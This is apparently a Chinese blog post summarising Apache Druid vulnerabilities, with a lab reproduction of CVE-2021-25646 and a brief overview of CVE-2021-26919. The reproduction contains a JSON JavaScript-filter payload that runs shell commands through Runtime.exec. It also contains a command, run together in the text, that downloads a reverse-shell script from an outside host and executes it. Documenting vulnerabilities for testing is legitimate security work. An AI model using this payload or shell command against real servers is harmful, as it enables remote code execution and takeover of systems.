apache druid 漏洞总结

文章最后更新时间为:2021年04月20日 15:50:06

1. druid是什么

Apache Druid是一个实时分析数据库,旨在对大型数据集进行快速切片和切分分析(OLAP查询)。 Druid最常用作数据库,支持应用程序实时摄入,快速查询数据。

2. CVE-2021-25646 rce

漏洞概述

Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。

影响版本

Apache Druid < 0.20.1

漏洞复现

直接用docker起一个环境

docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

然后访问http://127.0.0.1:8888,进入Druid console

2021-04-01T06:35:50.png

先开启抓包,然后点击Load data -> Local disk,填入

  • Base directory:quickstart/tutorial/
  • File filter:wikiticker-2015-09-12-sampled.json.gz

2021-04-01T06:37:00.png

之后一路next即可。

然后打开burp,查看刚才抓的包,定位到/druid/indexer/v1/sampler?for=filter

2021-04-01T06:50:23.png

修改transformSpec参数,加上filter字段:

"filter":{
    "type":"javascript",
    "function":"function(value){return java.lang.Runtime.getRuntime().exec('curl localhost:9999')}",
    "dimension":"added",
    "":{
    "enabled":"true"
    }
}

2021-04-01T06:52:46.png

2021-04-01T06:53:09.png

反弹shell同理,先执行curl -o /tmp/1 curl https://saucer-man.com/reverse/reverse.php?ip=10.10.10.10&port=4444sh /tmp/1

3. CVE-2021-26919

影响版本

Apache Druid < 0.20.2

漏洞概述

2021年03月29日,Apache官方发布安全公告,公开了Apache Druid中的一个远程代码执行漏洞(CVE-2021-26919)。
Druid 使用JDBC从其它数据库读取数据,此功能是为了让受信任的用户通过适当的权限来设置查找或提交提取任务。由于Apache Druid 默认情况下缺乏授权认证,攻击者可通过构造恶意请求执行任意代码,从而控制服务器。

参考链接

1 + 6 =
快来做第一个评论的人吧~